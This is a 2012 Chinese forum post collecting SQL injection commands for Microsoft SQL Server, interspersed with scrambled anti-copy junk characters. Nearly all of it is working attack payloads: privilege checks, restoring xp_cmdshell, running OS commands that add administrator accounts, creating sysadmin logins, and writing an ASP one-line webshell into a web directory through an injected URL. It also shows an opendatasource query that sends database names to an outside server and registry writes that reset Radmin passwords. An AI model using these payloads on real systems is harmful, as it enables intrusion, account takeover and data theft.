找回密码
 立即注册
查看: 2754|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
4 \. x+ p( U  X; {' l. C( S  Tand 1=(Select IS_MEMBER('db_owner'))' S* p5 [' w+ {- T+ b5 N
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
$ q( ?( }2 _9 p$ m7 T8 b
! x: l; C* o/ x1 E4 Y6 s# U1 I//检测是否有读取某数据库的权限, D% o3 m" Z, [: B
and 1= (Select HAS_DBACCESS('master'))
% i4 t* Y0 Q/ I  NAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
8 J/ y& A* [4 V# x% @5 S$ }, D0 P: y# }- |
( E& _6 h5 U! X: v
数字类型
# B( ?3 ?5 V" F( Q" A3 f/ Kand char(124)%2Buser%2Bchar(124)=0* D1 ~% M$ W" p7 r8 g

- ^; ?- s9 z/ \. w8 t8 a3 O字符类型6 E! D" S, l& _3 M* A" D
' and char(124)%2Buser%2Bchar(124)=0 and ''='# T* l: p/ O- l0 Q! u, |; V) {- G

' v7 T3 M: h9 f5 q/ w搜索类型& O7 n+ l: m9 c! F
' and char(124)%2Buser%2Bchar(124)=0 and '%'='* ?  Y# u" B7 |# c# D

' I/ O3 [! N- J9 N. F# L爆用户名& I9 c# L6 a* y* h: e3 z
and user>0
* x0 p2 V( }: R0 H- S9 b' and user>0 and ''='' B0 {% y5 B* V& {$ P: C

) {( ^, m. g! R; C& y6 ]检测是否为SA权限. l' W: @' N4 C8 b% a
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 h9 w4 c8 @* @! c5 h' HAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --  ?# _+ R7 q& k

5 m% W  x- J) E; Q检测是不是MSSQL数据库
1 }3 F5 U- J8 j: D" C. kand exists (select * from sysobjects);--  p; f) i# O* V. `* {; C
9 n1 Q# a& m7 O( d* E
检测是否支持多行( f: e/ I5 S! U6 q3 p7 R. M, ~+ z
;declare @d int;--' Y/ e3 @1 t* ~

# m/ a. o7 m0 J/ @恢复 xp_cmdshell
( }  ?( Q5 }6 ]. f* L;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--' e9 k; p, d: {6 X: v1 W; O* p
$ \7 q* U9 P2 F5 Y  F. I

0 E, k/ }1 F3 T2 ?' v! h1 \3 i/ Kselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')  h2 v" X* S- K/ U8 {& Z( o

  G  q- n" O, [6 d0 B8 k3 Q/ v( A//-----------------------  J" N! |1 |+ N  Z5 {7 P" O
//       执行命令  P: ^) k4 D: E: ~& t1 W/ @
//-----------------------: |- q! y( r* A& j* f; E
首先开启沙盘模式:
1 I2 c) l$ B5 x3 n! Uexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ b6 }8 p% @- P0 o2 R2 v3 B: x+ S$ Y. d
1 _7 J- G: N# n& R# G- |- l
然后利用jet.oledb执行系统命令
& }3 e8 \% d/ f. ]0 [! g; y7 C7 Oselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 E- _0 b$ C6 k6 n, M: Z
! L; \& @; q5 d$ Y9 r执行命令7 U5 n( W1 ]+ P  m2 k
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
0 k: t# Q- C5 a
2 f1 {) y$ z8 Z: K0 {% ?$ \4 UEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
' e; K9 Z& l, [. {2 `) @
0 s! |5 a' @: N5 e9 {( r/ L判断xp_cmdshell扩展存储过程是否存在:
4 @' c9 X: N- t" O# t, dhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')( r) ^* Q4 c# o0 T, g" ^

4 B& ]: y7 a' G" U6 l7 C% ]" n写注册表% h1 }4 q, y/ T5 y& q9 }/ }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 I- p, [# w: t6 `

/ ]0 @0 O& ^4 w# \; {! PREG_SZ
( g* i/ w  {9 q/ ]! M' t9 u% S+ b5 Y* ]# O
读注册表
( r- N4 s" V0 Qexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'6 i! K4 z. w( N
6 K3 p# z% t# R" o/ C! U# e
读取目录内容
  G2 ~$ Q& p# g; c% A3 e! P# M# Aexec master..xp_dirtree 'c:\winnt\system32\',1,1
' V0 T1 j& ]& R, F) F" ]
3 L4 X5 l$ V" L) A2 A
0 g9 c; S* X5 G数据库备份3 r0 H3 d) H6 k/ b9 p: ?
backup database pubs to disk = 'c:\123.bak'. R' J8 Q# ~7 J+ l: r
' B  ~  p3 B5 r  f$ d
//爆出长度$ q! V% m5 @  C6 ^3 K# ?+ C
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--; Z2 b' ^3 e# \

4 s; l# b# q1 ], K5 R: c7 ~6 }% l" z2 H0 N& B
4 D) X, t5 |; W, t1 G* O5 ]* ]  X
更改sa口令方法:用sql综合利用工具连接后,执行命令:+ o4 k- {5 C5 z9 f7 S! o* _
exec sp_password NULL,'新密码','sa'. O) |/ Z6 N; B3 L
5 @' Y' w; S1 D6 |
添加和删除一个SA权限的用户test:
7 j' a2 a# C6 X. cexec master.dbo.sp_addlogin test,9530772; Q; Q" e: v& G  V+ U8 y/ d% T* t# u5 W
exec master.dbo.sp_addsrvrolemember test,sysadmin
. f6 Y- J) X0 @1 B) w; \" Z& A5 r9 z  J9 P- K0 X$ X2 {% c7 a
删除扩展存储过过程xp_cmdshell的语句:- F! g! a" _: O$ C3 ~% ~* R
exec sp_dropextendedproc 'xp_cmdshell'( J' x5 O* J* D$ ?

8 D0 g+ o+ M4 {+ w/ E7 O添加扩展存储过过程
8 p; ~0 \5 d; q2 y8 i2 h0 C( @( jEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll': I. U$ J2 y# u" \. P* V1 S0 U9 T
GRANT exec On xp_proxiedadata TO public
- i, b$ J; E( x+ U1 d2 c4 c6 o! c( @! h

  d2 h9 u  Q' r3 _停掉或激活某个服务。
( z! J% x6 z' \2 M0 U+ K
8 R0 ~& f! T6 \9 h& l- q1 Rexec master..xp_servicecontrol 'stop','schedule'
2 Z" h" F& f5 J3 Wexec master..xp_servicecontrol 'start','schedule'
7 N5 t! Y0 N# ^1 X( _+ w8 ~# m, c8 G
dbo.xp_subdirs
; M# b6 @; m6 C' f% C+ V6 \* g' G" ]. O1 ~& r6 L( Z
只列某个目录下的子目录。
4 `! E7 E# o$ {$ bxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'5 s5 d& {& v, ]4 g: S0 E
* [) S( x6 V2 w8 l
dbo.xp_makecab* ?3 E5 L; O6 U+ B5 x& K; `
/ h$ G7 j! o- z; Z
将目标多个档案压缩到某个目标档案之内。
, Z1 B. b5 T$ \4 c所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。& J- G+ w; P  ~( H" d& R
0 g8 M3 N& y" ?, @
dbo.xp_makecab3 A- u1 a0 i2 \1 }$ i6 m6 a! Q
'c:\test.cab','mszip',1,
. V0 @6 e0 T$ j2 w  ?'C:\Inetpub\wwwroot\SQLInject\login.asp',
  W7 H: v# J& I+ E'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'+ @, _, x/ j8 N1 @7 _( ^

9 R0 x3 I2 h: cxp_terminate_process
% \* M3 y- e/ y0 Z- E% d0 g, k: D+ c$ f. K( P8 F" E2 O2 I0 o
停掉某个执行中的程序,但赋予的参数是 Process ID。3 v. Y1 j* b  o  v' p
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
; t: i/ V0 f0 d' W. I5 U, Q% V( Y/ [4 o. P  |0 c
xp_terminate_process 2484% W+ T9 O& ]+ h7 r

/ I- ?; E5 j- yxp_unpackcab
: @+ Y7 o0 Q3 |4 D5 c& ^4 |' h
( ^  j& P' v' e  j7 E5 _. L解开压缩档。9 x9 ^, w4 Y" h+ c% Y+ y7 ^* _, p

1 d; F9 I  }' Yxp_unpackcab 'c:\test.cab','c:\temp',1
0 e* S/ i! B/ M1 S/ d, @0 q- r( x" f7 v& f' F+ P3 Z

- R/ K. a$ d! {% C9 j某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
* u8 {, M5 P/ A3 ?$ |6 A( M2 S
1 d& w6 G% X1 |4 ?) g0 [! m: vcreate database lcx;% S7 h; C$ K$ g: _0 i
Create TABLE ku(name nvarchar(256) null);+ ~/ o; p2 j; G" x+ P
Create TABLE biao(id int NULL,name nvarchar(256) null);- t+ ~* H. W! p  E, D4 U7 G

/ U2 L4 w  C3 v9 S! T2 Y9 Z9 K//得到数据库名
. i: Y9 `/ s) `) winsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases# D: f" M+ D8 m! U: Q6 L$ q

5 m, m2 a8 f1 ]/ C$ ~
$ ^6 J0 ?3 d7 }1 Y. r//在Master中创建表,看看权限怎样: Z( V3 J$ @0 x) {4 ~( N
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
. }' b! Q' Y0 m  @" l' r5 @& X( I1 {2 l+ n! a( Z* M) B
用 sp_makewebtask直接在web目录里写入一句话马:& u! d# ~" k! J, a+ s
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
" o! D, f2 {# G/ L% S9 l- S2 S- _' C* Z4 }! @% @" Y4 N
//更新表内容
4 d" L9 `4 _- p# n" DUpdate films SET kind = 'Dramatic' Where id = 123+ u/ W( p( t" K1 }- M

5 u  a  _2 s* X  y//删除内容9 r$ ?! j, g% X+ V8 X
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表